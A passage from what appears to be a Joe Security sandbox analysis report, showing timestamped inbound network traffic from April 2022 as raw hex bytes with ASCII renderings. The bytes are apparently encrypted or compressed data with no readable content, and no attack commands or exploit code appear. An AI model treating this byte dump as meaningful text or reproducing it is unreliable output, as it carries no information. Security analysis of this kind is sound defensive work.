c8 b9 b2 c7 cb e1 3c 22 53 18 90 26 7e 53 f9 fc aa 92 14 83 d7 00 52 ce 56 b3 fb 3a 0b 52 37 5b d9 22 a3 57 3d c3 23 60 39 da 57 be 63 c4 1c Data Ascii: [E!?2}[?S(&:Zno1F-x!#iT0b ek'ye96zIhr1L@KClAm&vX;7<am%{?H`8ZZQIje?N=pZA/B9g2m*oQt4)C,u9ZOD<"S&~SRV:R7["W=#`9Wc

2022-04-25 17:44:44 UTC 42 IN Data Raw: 3b a6 65 91 df ec d8 91 f5 4b 86 7c f9 f8 92 a7 6e eb 08 50 45 c2 5c 58 8f 2f fa 4d 24 cd 94 97 da 1d 95 0c b0 f3 dd c1 e5 ad 86 37 4b 1e 74 db ed 77 9e ea 70 3e 0a c6 0e 38 2a 72 e6 6c 18 35 0d 89 a1 1e 69 5c 3b ea 2d 5d ce a8 5e 4b f1 b1 10 63 31 a6 3e 90 c5 98 ff 50 e6 46 c0 62 39 4b f1 4b 1d 49 bb 4c f6 ed 94 5a d9 d1 2b 97 8f 1c 5c cf 66 4e de e4 82 33 ba ed d2 28 de 18 d6 56 71 ae 12 65 4c a0 18 88 9d 96 55 5f 27 ec bf 82 60 f0 87 8a 9a 9f 4e 75 1f 0a 57 f7 e8 87 b6 9e 9c 07 62 82 c4 d0 2e 0a 60 1e 89 08 0c 9a 4b 8e 83 86 d3 bc 31 d7 cb ef f0 7f dc d4 c1 ae f4 d2 ea e8 e8 b6 5e 8e 0d e6 8c 64 f7 64 be 8a 75 88 fa a1 88 cc f5 ce c0 ce b8 51 9b a2 4c b8 39 e1 7e 70 de 7b 6c da 61 4d ce ee 18 37 d8 f0 07 5e 7b c9 b6 8e 45 c8 c2 48 04 67 83 02 97 12 94 Data Ascii: ;eK|nPE\X/M$7Ktwp>8*rl5i\;-]^Kc1>PFb9KKILZ+\fN3(VqeLU_'`NuWb.`K1^dduQL9~p{laM7^{EHg

2022-04-25 17:44:44 UTC 44 IN Data Raw: d5 8a 94 38 9c 74 10 68 95 c7 48 c9 b5 46 fd 78 c6 d4 8b 61 19 72 3e 5f f8 97 ce 03 09 1b 80 29 16 4d ff 5c f8 e4 4a 2f 98 ac 8b 5b c1 9d d0 e9 32 6d d5 e1 09 b1 67 28 62 43 f0 e0 8a 7a 3a 2f 47 fc dc 95 e1 e1 1d 61 47 47 a7 7b b6 22 6d ad 3c a9 43 c6 3d 04 42 d7 b7 5f d1 f6 fd 23 49 30 85 81 30 1a 74 e8 ef a6 81 01 94 cc 9b 1b d6 54 ac fb 0b 0e 2f e5 db f1 d2 be 41 28 ed c9 71 3f c5 8f a9 65 d1 32 e9 98 0d 5d 2d a0 12 b9 e2 bc 4b c2 d9 37 2e d9 40 c2 0d a6 dc 89 4c 71 9d f4 00 74 5a 50 e7 a3 26 eb 89 2e 9b fd 12 07 40 ff c6 21 d1 56 84 13 82 6c 33 da 94 8f cb 4b 2d d7 35 a1 45 54 27 90 da bd dd fc 2b 84 ce 4f ee 7f ba c1 a6 8f 38 ec f3 fc ea 5f 39 e5 04 cc 74 ed 94 e8 7e dc 8c d2 a0 55 b8 8e f1 3a 06 76 ac 25 58 b7 38 c0 84 fb c9 10 6b 8a d0 fc 54 29 d8 Data Ascii: 8thHFxar>_)M\J/[2mg(bCz:/GaGG{"m<C=B_#I00tT/A(q?e2]-K7.@LqtZP&.@!Vl3K-5ET'+O8_9t~U:v%X8kT)

2022-04-25 17:44:44 UTC 45 IN Data Raw: 42 c7 d4 51 09 c7 d3 5d 81 c7 67 46 88 52 81 8e 8b 4e c3 3b f3 82 7d 72 d4 99 84 a4 d2 64 64 19 65 1e 54 f9 89 be a6 03 4d 62 93 de 6d 23 fc 79 36 cc 82 db 93 52 92 0d c6 d8 ad 20 1a 00 e7 ea 64 c8 57 8f b3 e7 c8 48 e8 fb ba 65 61 05 de 93 6e 71 27 b8 5c 67 90 ef 83 91 c1 e2 43 ca db 81 b8 06 9f 48 a2 3f 76 47 bf c6 6d fa d8 6d 48 f6 61 12 3d de c3 84 4b 85 c2 bc 95 5e d5 48 b2 1d 7d 95 02 1e 21 85 75 9a b0 44 4f ce 30 d5 f0 68 ac 2b 3e 7b 0c 01 5b d0 1c 3f 59 3a 7b 9a 18 a0 54 c5 e9 b3 df 2a 43 77 b8 e2 e7 fa 23 12 c5 a1 53 53 09 5a 4f 16 bd 1c c2 f0 3a 9f 97 37 b4 9a aa 6e f3 db 77 70 8a 84 58 be de 1a 4b 16 cc 03 57 7b f9 63 84 c3 c7 cf ce fe 67 b1 d8 49 02 09 73 12 4f 52 c9 71 9e 18 1a 73 7a 9d 00 c8 30 24 2d 01 fc 7c 76 93 b7 d8 34 d5 38 29 26 ba 34 Data Ascii: BQ]gFRN;}rddeTMbm#y6R dWHeanq'\gCH?vGmmHa=K^H}!uDO0h+>{[?Y:{T*Cw#SSZO:7nwpXKW{cgIsORqsz0$-|v48)&4

2022-04-25 17:44:44 UTC 46 IN Data Raw: a1 56 28 ef cb 71 36 cd 75 be 58 d0 30 05 8b 0b 57 3f b7 08 28 2f 91 48 df f3 1d 2f c8 46 d5 3a 56 5d a5 4e 1a 07 cc 2c 8a a6 be c1 cc eb ea 92 14 f1 cc e6 07 4a d7 3c 21 d1 50 95 7c 4f 78 22 ce b0 ac 31 24 dd d1 26 b5 9f d9 04 90 da bf a6 2b 2b a4 8a 38 e4 7d ac bc 71 8f 38 18 ce b0 bf b0 39 e5 0a 79 18 ef 19 c7 7a de f6 13 b3 44 ae f0 22 3c 6a 5f 95 bb 58 b7 38 1d 14 bb 92 38 a7 f0 09 f6 7c e2 cc 7f ba e7 f5 21 29 d2 a0 c2 53 fa c9 e2 1e 28 00 2c f0 43 e4 45 3a a5 d9 6d 5c c4 ac 50 20 a5 1e ca 42 93 06 70 b4 51 87 a7 44 2f 5e 90 09 82 f1 0a c1 2e 67 dd a7 1d aa 99 77 c6 6d f2 c9 7b 45 07 08 b4 85 69 6c 0e 19 da 91 66 9a 9e 22 33 65 e7 4a 8d a3 ce 8c 5f d3 ca 3c 79 b0 0c 4f b6 2d 18 37 41 32 48 4f 8e d2 ec c6 96 88 63 90 82 f8 d4 91 b0 5d a0 53 62 4e dd Data Ascii: V(q6uX0W?(/H/F:V]N,J<!P|Ox"1$&++8}q89yzD"<j_X88|!)S(,CE:m\P BpQD/^.gwm{Eilf"3eJ_<yO-7A2HOc]SbN

2022-04-25 17:44:44 UTC 47 IN Data Raw: 90 9f 4e cd 5f 75 03 60 9d 88 1c 37 92 72 1d be 40 a6 e7 80 db f2 73 81 12 58 6c 9c 27 57 d0 0f 23 d0 09 6a 8b 03 b5 93 37 e8 9f ce 13 5c 6d 6e fb c4 45 3b 01 d4 d5 4e 48 16 78 a2 10 80 11 a0 cc b5 28 89 e7 bd 3c ca a6 f2 ca 66 7c b1 6b 51 86 fb 58 4c 3e 31 14 da 7a d5 28 9a e4 d8 c5 c2 f9 6d ab cc a6 03 25 75 b6 4f 51 b5 3b 8e 13 08 78 50 03 49 c8 21 3e 21 18 13 70 4c 89 29 d8 32 d5 cb 28 26 ba 29 08 ab 03 97 a8 bb ca de 45 72 b1 6e 6f c7 e4 04 d9 4a 2b f3 a1 a8 ab 74 30 3a 32 7a b3 fe d4 5d 35 b1 5a b0 c7 f7 4d be d8 1e 34 f3 6b 2c d4 3c 76 07 9d 39 bc 74 36 0a ab 03 5f 3a 3f c6 f6 54 74 1c 2f ed 1d b8 c9 25 d6 50 d1 e8 a6 56 e4 40 7c 35 18 38 59 3b ef 97 cc 2a d5 4b 47 f9 85 30 02 cc 3f d3 cd 6b 35 d7 65 1e 60 83 39 49 cc 7b 42 80 cd c6 d4 8f 23 0a 74 Data Ascii: N_u`7r@sXl'W#j7\mnE;NHx(<f|kQXL>1z(m%uOQ;xPI!>!pL)2(&)ErnoJ+t0:2z]5ZM4k,<v9t6_:?Tt/%PV@|58Y;*KG0?k5e`9I{B#t

2022-04-25 17:44:44 UTC 49 IN Data Raw: 38 1d 3e 88 1a 11 69 fb 1a da 45 0b dc 5e df 31 dd 6e 21 c1 81 bc be d2 0e e9 32 30 39 61 e3 50 e4 75 e8 5d d9 6b 35 9d ab 8d 80 b6 36 cd 42 91 06 4b dd ab ae 5e 4e f1 54 92 28 73 6e 1b e7 41 12 f0 a7 17 7c b6 53 18 74 ff 1e 27 50 00 02 62 b4 48 c4 23 19 e9 e1 76 a2 ba 63 fe 64 ed 9e e2 95 e5 8a 7f ba 4c 3c 79 b4 1f 58 a7 8e 09 27 49 3b b0 4f 8e 01 ff d3 91 f5 40 90 82 f8 d4 91 b0 7f e0 08 41 b9 dd 57 a6 af 03 f8 66 39 f4 b6 68 34 e2 84 08 a1 f5 0b d2 e3 a5 97 31 96 10 73 af 14 77 9e f1 9a 35 13 1c 2a 82 2b 72 ec 7d 1c 27 0f a1 6e 1e c3 59 02 eb fd a2 31 ab af eb f1 b1 16 64 45 aa 3e 90 de 8e f9 3f 3c 46 c6 68 68 5a 1e 4e 26 5d 4b 4f f6 fc 9f 5c 03 c2 31 93 9e 1a 58 25 74 98 dc cb 82 33 3e bc c6 e9 4a 0b d2 6f d9 ba 12 65 46 99 49 9d 63 91 62 d1 38 ff bb Data Ascii: 8>iE^1n!209aPu]k56BK^NT(snA|St'PbH#vcdL<yX'I;O@AWf9h41sw5*+r}'nY1dE>?<FhhZN&]KO\1X%t3>JoeFIcb8

2022-04-25 17:44:44 UTC 49 IN Data Raw: d9 4a cb 8a 61 3d a5 4e 5a 87 d9 3f 85 a5 be c2 bc 31 15 93 32 91 ec ed 1f da d7 d7 21 d1 5c 95 6c 41 74 20 d1 b8 95 c6 3b ce 29 34 9e 03 b5 27 90 ce 6f 24 2b 2b 85 e2 77 c7 7d a6 94 24 8d 38 ee ea 64 90 86 39 e4 13 c5 1e 32 82 ef 52 cf f7 00 aa f7 ad ea 26 24 3a f0 c4 bb 58 b6 9a 0c 3f e3 d8 14 41 e0 09 fc 5e 8f dc 74 a9 f5 51 3f 2b d2 a7 0f 88 f1 d3 f9 36 29 1c 39 ec 44 ca 0c 10 5c df 7b d7 d0 ab 8d 8b b1 0a de 7b 0f 17 63 b8 60 be 5e 44 25 fa 92 05 4c 63 1b cb 3a 5b eb 2a 4f a0 b1 58 d5 61 e9 18 ef 52 9b 19 b0 b2 7b 70 1f 15 f1 fc f9 9a 9e 54 e8 f8 f6 4c f8 85 53 9d 59 ec 18 a0 79 b6 15 7e b8 2e 1a 28 49 0b bf 55 70 d5 d3 df 8e f4 cd bf 82 f8 d5 82 b7 66 f3 07 41 5f d2 48 b0 70 02 d4 6b 30 f9 ae f8 1c 31 84 08 a1 ea 1c c1 ee a5 86 3e 8e 08 8d ae cd 61 Data Ascii: Ja=NZ?12!\lAt ;)4'o$++w}$8d92R&$:X?A^tQ?+6)9D\{{c`^D%Lc:[*OXaR{pTLSYy~.(IUpfA_Hpk01>a

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 31 of 50

2022-04-25 17:44:44 UTC 51 IN Data Raw: 0a 48 cb 12 30 52 4e ac 8a 03 b5 52 3e f0 f0 0d 3a 48 67 66 f2 83 b7 3b 01 d4 b2 46 59 13 0c 5a 16 91 1c a2 cc 2a 98 80 39 bd b1 bd fb 44 a5 b6 6e b9 70 52 4c c9 1a 4b 51 db 02 57 77 dc 47 76 f6 d4 de 12 31 76 a7 c8 b1 0a 4a 22 14 5e 57 7a 37 b7 51 1c 6c 4d a4 1b c9 3d 3f 32 17 02 31 5a 84 d3 c9 31 fd 53 28 26 b2 38 0b bd fb cd a3 a0 c1 c8 df 5a bb 5e 6b cd 76 01 ad 46 a2 f3 ba b4 61 73 52 db 1f 7d a8 fa c8 ea 34 b1 5a 61 c7 ee 4e f9 77 1e 34 ff 0f f7 a7 ed 7d 14 91 59 61 64 3f 11 bf 69 9c 3f 2e ca 95 5f 79 0d 2c d0 1f b1 af 9d 8a 50 db f3 7f 46 a1 98 7d 35 13 2c 5a 54 bf 97 22 20 96 71 57 f0 ea db 03 cc 37 c0 91 7b 3e a1 60 04 71 87 b7 fe b0 91 46 80 ae cd 0a 95 6d 0f 1b d2 4f fe 82 ca 92 e5 36 8f 21 b1 40 f5 55 d0 ca 90 40 c5 aa 94 5f 0e 9c f8 b1 34 72 Data Ascii: H0RNR>:Hgf;FYZ*9DnpRLKQWwGv1vJ"^Wz7QlM=?21Z1S(&8Z^kvFasR}4ZaNw4}Yad?i?._y,PF}5,ZT" qW7{>`qFmO6!@U@_4r

2022-04-25 17:44:44 UTC 52 IN Data Raw: ec 2a e1 56 f3 58 9e da d9 6d 5b ff 60 8c 8a af 6d 25 52 97 1d 19 9a 8e ae 5e 4e 2a 37 d1 0e 5f 63 00 c8 50 22 f0 a7 19 a6 b7 d7 71 7b d0 d0 f9 45 01 1b b9 b4 68 fa f0 1a e5 e3 49 9c ba b0 fc 64 e1 51 e7 1e 49 8c 55 fa 18 f7 78 b6 15 2b 48 3b 09 2d 33 13 9a 4f 8e c7 cf da 91 76 40 90 82 74 d4 91 a1 7f e3 76 2b 4e dd 53 c9 9f 02 f8 60 32 f0 a7 6d 33 ca 41 09 a1 ff 18 d6 f0 a1 bf a5 90 12 79 a2 e3 6d 13 fd 66 37 08 0f 21 93 2c 64 92 14 1c 27 09 03 7f 19 7e 4d 2a 78 d3 a2 3b 09 67 ef e9 b5 94 d3 6d 39 3f 90 d4 2c e8 38 25 42 62 79 6f 35 e7 4c 26 5b b6 4f 88 ed 91 5c 09 bc 42 93 9e 1f 4e 1c 60 9c 5b c3 0c 84 ad 94 03 f8 5c 1e c5 51 48 bc 04 9b 45 82 4b a6 8a b8 b3 d0 20 ea ae 85 ff 7e 96 82 8d b0 ad 65 1f 00 2e ba f8 8f ab e2 19 7c 62 82 d6 42 39 02 09 1a d9 Data Ascii: *VXm[`m%R^N*7_cP"q{EhIdQIUx+H;-3Ov@tv+NS`2m3Aymf7!,d'~M*x;gm9?,8%Bbyo5L&[O\BN`[\QHEK ~e.|bB9

2022-04-25 17:44:44 UTC 53 IN Data Raw: 29 5f 47 2b f9 b2 b1 5d 78 22 32 18 6a 2f f1 bb 00 34 a2 54 7d ca f0 4e 34 34 1a 20 e1 48 d7 a6 ed 7d 0f 83 02 b4 66 3f 1d bb e1 8a 3a 3f cd e9 8e 69 09 30 d6 96 6b c0 4a 8a f2 c0 e6 6e 4a e6 b2 7d 35 13 2c 4d 13 ef 94 22 2c 93 f8 41 f5 85 31 16 d8 29 fb 0e 6a 39 ba 70 3a 83 81 39 4f c6 c6 40 80 a4 c7 c7 8b 6d 0e 62 3c ec ef 8c d4 eb 84 66 8f 2b 6c 3c ee 58 e4 ce 17 98 14 fb 94 55 d3 39 c1 fc 27 77 d5 1a 1c 89 75 a7 37 3e 24 e1 99 78 34 3b 42 ed 40 95 e1 eb f5 fc 7a 4b bd 6b 57 e8 6b 85 a0 b7 50 ca 2c 13 52 58 94 80 c1 df e0 b0 15 62 85 81 3b c1 67 f8 fc bb a9 04 92 d3 84 cd 77 78 a0 f3 6e 07 52 37 c0 0f dd a1 57 4f e7 c9 60 22 d7 59 f9 49 d5 12 f4 e4 c2 5c 3c ac 0e 99 f3 b5 60 f8 ca 31 24 c5 52 d7 32 76 dd a5 44 84 98 ca 06 8a a5 af 8c bf 26 eb 92 1e 9e Data Ascii: )_G+]x"2j/4T}N44 H}f?:?i0kJnJ}5,M",A1)j9p:9O@mb<f+l<XU9'wu7>$x4;B@zKkWkP,RXb;gwxnR7WO`"YI\<`1$R2vD&

2022-04-25 17:44:44 UTC 55 IN Data Raw: d3 02 c5 37 a2 f8 2c 90 12 75 a8 8e 6a 9f f1 60 58 e0 1d 26 88 3c a8 83 89 1d 27 07 ce 75 1f 69 5c d4 e6 cd e1 22 a0 76 f9 fa ae 20 9a 44 86 2f 97 b1 93 f8 3f 3a 57 c8 07 9d 5b f5 47 39 66 a9 47 f6 ed 9b 43 14 3c 2d bf 88 1c 24 08 70 98 55 c9 8a 5c a3 bd c6 fe 33 ed d7 57 53 a5 0a 76 4d 88 5c 81 82 8c b0 d3 0c e0 ae 85 6b 97 8c 83 8c 9e 79 79 0c 01 5d 44 f2 90 93 66 11 7a 73 81 cc 6a e9 0a 6e 0b dd 82 eb 92 52 92 10 e4 c0 b7 30 64 d1 fe 14 6f f7 54 86 ad 7a 64 5f 23 f3 ac 5a 85 17 f9 98 6e 71 2b 40 8b 58 97 e1 ba 9d ea a2 f1 2c 3b 50 58 14 b8 46 b1 25 62 7e 84 c6 41 e3 c8 62 40 0f e3 1e e7 d8 0e 16 71 7b c3 91 93 50 cc 41 6f 0e 67 81 0b 32 c4 84 48 8a ac 44 a6 19 8d c8 f6 66 e7 10 5e 7a 1d 00 57 d3 fd 34 66 32 73 05 b4 bc cd 8c e1 87 03 e1 76 ee 6f f1 ec Data Ascii: 7,uj`X&<'ui\"v D/?:W[G9fGC<-$pU\3WSvM\kyy]DfzsjnR0doTzd_#Znq+@X,;PXF%b~Ab@q{PAog2HDf^zW4f2svo

2022-04-25 17:44:44 UTC 56 IN Data Raw: cc 9d 3c 9f bb 93 4a e2 a8 c1 f0 1c 71 c7 1f 0e f2 0e 2a 65 34 02 d8 a8 7f 25 3d 45 fd c4 b7 ba fe 98 65 6a 4d a1 6e c2 ef 7e a5 13 a9 41 c9 2c 1d d5 c5 be 89 d4 d9 f6 2c 34 ff aa 81 31 10 04 0f fd a0 8b 36 83 db 99 33 c4 70 b1 f1 0b 02 dc 80 e9 2b de 89 52 38 eb cf 66 56 bf 71 a8 43 fd 3b f3 8b 01 32 5e a6 04 4d c5 96 5e d3 a5 c9 2f c8 4c b2 e3 59 dd af 68 62 58 cc 2c 8a b4 a8 d7 90 7a e9 e9 1b 9f fd e3 14 4b e9 d5 2b fa 76 97 63 4f 66 a2 cd bc 82 e1 20 de d7 33 b6 9c 39 08 90 da be c9 dc 2a 84 c0 45 d6 77 bb 6a 62 85 29 e2 e0 e2 19 31 0b 3d 08 e6 09 3a 94 ee 7c b1 94 00 a0 5f 94 c2 31 3b 0c 13 f7 bb 58 bd 1e 1b 22 fd a6 e8 68 f1 03 93 ad 2c cd 75 96 c8 82 7f 2c ce 95 f7 9b 81 cc e9 32 3e 02 25 f7 43 ee 76 32 4d d4 7c 56 46 b8 88 8c 8d 1a c9 53 91 06 66 Data Ascii: <Jq*e4%=EejMn~A,,4163p+R8fVqC;2^M^/LYhbX,zK+vcOf 39*Ewjb)1=:|_1;X"h,u,2>%Cv2M|VFSf

2022-04-25 17:44:44 UTC 57 IN Data Raw: b6 4e 9d 79 62 82 c4 7e 26 11 7d 1a c8 af 00 6c 53 b4 18 d5 a8 b4 31 75 de e5 91 67 da 58 94 a6 e2 d0 60 27 e1 a5 5d 81 17 f7 98 6e 7f 2f 40 8b 58 9e e6 bd 98 c9 e7 52 c0 c1 b1 b8 06 9f 54 a2 2c 06 66 7b c7 69 f3 1d 16 5e d8 72 0d 22 c6 cb 9e 5e 6a c6 8a 61 4e f2 43 66 75 7c 8b 14 09 38 fe 6d 80 af 49 6b c5 07 c8 f7 79 b6 06 4a 73 f2 0a 64 c7 0b 1f55 2b 68 8e 03 ae 46 2d 16 9e f9 38 5f 7e 6b f1 fd e0 24 0a 20 a0 6e 4a 3d 66 89 67 6f e9 4e c2 38 a0 31 c3 54 5f b1 5f f3 ca 6c 7c 89 76 59 3e d0 0b 4e a6 37 03 46 6b c6 25 a3 7b d7 d4 ce ef 6d a3 fb a4 fd 24 53 19 4f 55 b1 a0 a6 36 1e 6c 47 91 0f db 2c 3f 23 18 1d 74 a4 9f 99 f8 3d 86 58 29 26 b4 30 71 b1 93 bb b8 bc c9 dc f7 0b a2 6e 69 db 7a 06 ad 46 2a e7 ae b1 5d e0 21 32 14 55 41 f6 bb 0a 5a 4e 51 6c c4 Data Ascii: Nyb~&}lS1ugX`']n/@XRT,f{i^r"^jaNCfu|8mIkyJsdU+hF-8_~k$ nJ=fgoN81T__l|vY>N7Fk%{m$SOU6lG,?#t=X)&0qnizF*]!2UAZNQl

2022-04-25 17:44:44 UTC 58 IN Data Raw: 89 cb 33 83 5b ae e1 a4 37 ed b8 01 94 ee e0 07 51 f8 dd df d0 7a a2 79 58 7a 35 c9 35 83 c9 24 dc db 3d b1 81 39 76 90 da be 04 23 3f ac 8a 62 c7 77 84 bd 73 8f 32 74 ed fa 90 86 28 e2 1a 30 0e 15 9f f2 f7 f1 f7 00 a1 46 ba fa 22 3c 06 6d 92 a3 a6 b6 14 17 36 d3 b5 11 69 fb 03 e5 47 2a cd 6e b7 f5 23 6f 07 d1 b1 be 9e fa d8 ef 2d 30 ef 29 cd 52 c9 58 2a 85 27 92 a5 d1 df 81 8a a5 05 e0 19 95 3f 74 b2 48 a5 5c 6c 2c 5a 83 04 22 67 0b c1 2a 65 f0 a7 1d bb 81 5d c6 30 f8 14 f9 df 07 08 ad a7 16 e2 0f 19 ed ef 0a 57 93 4d f4 66 9c 4e e3 92 cb 89 3a 2d 31 3c 73 b4 64 56 a6 3a 0d 30 26 cd b1 4f 84 d6 84 dd 90 e4 44 88 ed 20 d5 91 ba 7f 9b 06 40 4e d9 38 4d 8f 03 f2 65 37 f6 38 df 4a 38 85 08 ab ff d5 c1 c4 8d ba 31 91 18 78 a8 8e 73 9c f1 6c 44 16 1e 26 88 51 Data Ascii: 3[7QzyXz55$=9v#?bws2t(0F"<m6iG*n#o-0)RX*'?tH\l,Z"g*e]0WMfN:-1<sdV:0&OD @N8Me78J81xslD&Q

2022-04-25 17:44:44 UTC 60 IN Data Raw: 02 bf 45 27 e4 9f dd 23 b6 6c 42 fd c4 e9 39 01 d4 21 75 49 16 67 a8 1b 91 1e ad 35 3a b3 99 15 e2 a1 b9 73 f8 d7 60 6f b1 6d a7 93 ff 09 56 32 37 0b 4e 83 d4 04 80 89 e2 d5 ce eb 54 9c e6 b7 05 5b 48 15 5e 59 8e 16 9f 18 16 ec 7f 8f 1b cc 3b 33 32 1d 1f 83 5b b2 bb b7 07 fc 53 2c 0e 89 38 05 b7 bf 86 bd a6 c1 c0 c1 a4 a1 42 61 b3 cf 00 ad 42 3c db b7 a7 75 72 3e 3b 12 7d aa ec 45 01 19 b6 78 24 cf e6 4c 8d 29 1e 3c e3 9e 24 8b ef 60 0b 97 22 aa 6c c1 1a 80 6e a6 3f 07 99 05 75 87 0a 0c da 2a ad c0 c0 88 50 d1 7d 7a 5e df 68 76 36 19 22 52 48 32 96 22 20 8f 73 6e fe 86 30 04 b2 0b d2 96 6e 11 bc 67 12 66 ab ec 49 df 41 28 63 a5 c6 de 89 54 07 77 3e 48 80 bd c2 fd 0c 1f 81 28 6d 98 d7 89 fc cc 93 40 7b ab 94 5f d4 b3 df fb 34 74 ba 2a 09 9d 68 02 75 3d 24 Data Ascii: E'#lB9!uIg5:s`omV27NT[H^Y;32[S,8BaB<ur>;}Ex$L)<$`"ln?u*P}z^hv6"RH2" sn0ngfIA(cTw>H(m@{_4t*hu=$

2022-04-25 17:44:44 UTC 61 IN Data Raw: 6e 5a d1 83 ca 89 a5 18 e2 71 97 17 69 9a 06 ac 5e 42 07 7b 83 0e 55 06 e9 c0 2e 45 f7 8f 52 a3 b1 5f ee 2a fb 14 ff 6d 25 08 bc af 45 bc 0d 19 ef c3 46 8b 92 47 91 87 e6 40 e8 95 e7 dd 56 fb 36 14 3e b5 1f 5e 8f 18 09 27 43 32 e2 4c 8e d2 d7 f0 91 e4 4a ff 61 f9 d4 9b b7 55 b3 0b 41 48 f5 10 a5 8e 05 d0 44 21 f5 bc 40 71 e1 84 0e 89 d6 0b d2 eb ca 74 30 91 18 74 87 b4 74 9e f7 4e 70 10 1c 20 aa 09 72 ec 77 34 71 0e a1 68 36 4a 5a 02 e1 bd 41 30 ab 7c ef d9 e6 19 64 43 82 79 93 de 88 d1 1d 3c 46 ca 40 30 59 f5 4b 0e 7e ba 4c fc 93 73 5d 03 c8 2b bb c7 18 4b 13 59 df 50 cb 84 1b 99 bc c6 f2 74 42 d5 57 5f 92 31 65 46 82 22 69 9c 90 44 d5 08 b7 bc 83 75 d0 d1 81 8c 9e 4e 46 1f 0a 57 7d a5 8c a1 9e 38 75 62 82 cf 1d dc 03 78 10 de 82 40 91 52 9e 27 90 d0 bc Data Ascii: nZqi^B{U.ER_*m%EFG@V6>^'C2LJaUAHD!@qt0ttNp rw4qh6JZA0|dCy<F@0YK~Ls]+KYPtBW_1eF"iDuNFW}8ubx@R'

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 32 of 50

2022-04-25 17:44:44 UTC 62 IN Data Raw: f3 33 1e 7d 07 f6 bb 11 37 99 03 6d ce e0 41 e5 30 1c 34 ff 6a 22 c8 b3 77 07 9d 39 bb 73 2c 16 94 c4 8c 3a 3f dd f4 9b 75 97 2b c8 32 92 c0 4a 81 7d d4 da f5 5f ce 40 75 46 ce 25 59 3d fe 91 fc 38 a0 5d 6b f5 85 3a 11 c4 15 fd 96 6a33 6d 17 13 60 83 28 4f db 24 96 81 a4 c0 f9 8a 44 6e 75 3e 4e 80 ba c3 fd 02 24 8b 55 5f 9e ff 56 ef cb e7 1d 98 aa 9e 46 d7 8d c1 fe 5b a0 c5 1f 0e 8a b6 39 6a 2d 2d d8 b9 7f 25 3d 45 fc cd 8d cf 9f e0 60 6d 22 71 7c cb ff 7e a9 29 b1 41 c9 15 71 47 c8 be ce 04 db f6 2c 2e 74 94 87 20 18 43 9d ff a0 87 7f 46 d2 8e e3 c4 7d b1 fc 32 6d 51 37 dd 9e c0 a3 57 31 fa cc 48 5e df 71 ae 26 c3 1a f3 81 6b 71 48 b0 89 68 e3 90 49 c6 c0 38 06 a0 45 dd 1c 37 1c a5 4e 50 91 e4 3b 88 a5 a5 a2 bb 24 eb 98 36 a7 fd e7 0d 1f d3 d2 28 f9 41 Data Ascii: 3}7mA04j"w9s,:?u+2J}_@uF%Y=8]k:j3m`(O$Dnu>N$U_VF[9j--%=E`m"q|~)AqG,.t CF}2mQ7W1H^q&kqHhI8E7NP;$6(A

2022-04-25 17:44:44 UTC 63 IN Data Raw: 72 83 e8 4f 40 f1 66 37 0c 13 35 87 2b 63 e9 65 e2 26 21 a8 1d 49 69 5a 08 e1 cb b1 34 ab 67 ed eb 4f 1b 48 51 ac 3c b8 b2 8d f9 39 14 65 c0 68 62 35 ae 4d 26 57 a1 5f f3 fc 81 59 1c ce d2 92 b2 13 42 02 a7 95 4c c6 91 36 bb ad c3 e7 51 e6 d7 7b 57 b3 03 61 c8 3f 72 c2 62 6f b1 cd 2e ff ba 83 62 fd 89 88 72 99 4a 75 17 22 3f 56 f9 89 ce 59 10 56 68 ae 0e 6d 34 11 7d 1a c8 af 04 6c 53 b4 1b d1 d1 94 5b 76 da e1 c2 4d db 58 9a c1 af d3 48 f3 fa b6 52 9f 15 f7 84 81 7b 1a b5 88 5c f3 f1 b0 88 c9 e6 4f c2 c1 af 57 02 ad b8 a1 02 7b 44 e5 d8 64 e3 ce 6b 46 dc 6d 06 c3 ce f4 91 2d 2c c3 90 95 65 c1 42 77 0b 76 9b 11 1b c4 84 48 82 b8 5e b4 cf 0d de ed 69 59 02 79 78 27 0e 70 77 fd ca b5 27 51 90 33 bb 43 85 e0 9f d5 91 48 6d 7f ee f0 cd ef 01 de ab 4e 3b 03 61 Data Ascii: rO@f75+ce&!IiZ4gOHQ<9ehb5M&W_YBL6Q{Wa?rbo.brJu"?VYVhm4}lS[vMXHR{\OW{DdkFm-,eBwvH^iYyx'pw'Q3CHmN;a

2022-04-25 17:44:44 UTC 65 IN Data Raw: bf d9 36 72 ce c1 07 b8 44 07 65 3e 2e f3 80 56 0b 3d 54 f0 02 84 f6 f8 cb 06 6a 4d a3 12 ea fb 6d a7 e6 b8 75 e8 10 15 44 c2 ab aa f8 f4 f6 2a 37 ad 85 90 35 39 32 f9 fc a6 ee 31 90 d3 84 3b d8 5d 88 d4 1a 0b 58 24 d7 d9 f8 a1 57 31 35 c9 71 3d f4 f5 a9 49 d3 77 d2 89 0b 57 e2 a9 21 6f ce 90 48 df d9 3c 06 e6 46 dd 10 86 dd b4 4a 72 c4 cd 2c 8c ca 8e cf a3 2c 35 9d 3b b6 d0 e7 07 4a ec c8 09 ff 56 86 62 80 6c 22 da 90 16 c8 24 db b8 14 a5 98 bf f9 9f ff 97 8b 2b 2b 8e d9 6c ef 53 ac bc 7b 51 38 f9 f5 c1 ef 87 39 e3 6f ef 0d 39 9e 36 75 fb df 2d a0 55 b6 f2 21 13 28 7c 95 b1 86 b7 29 19 1c ad c8 10 6f 9e 28 fe 54 27 13 70 95 cb f0 6e 2b d8 b5 bc b1 d4 c9 e8 38 e4 11 39 e5 78 81 5c 12 5a b6 4c 58 d7 a1 53 85 80 36 e7 53 97 1d 70 a0 60 81 5e 44 25 86 83 1f Data Ascii: 6rDe>.V=TjMmuD*75921;]X$W15q=IwW!oH<FJr,,5;JVbl"$++lS{Q89o96u-U!(|)o(T'pn+89x\ZLXS6Sp`^D%

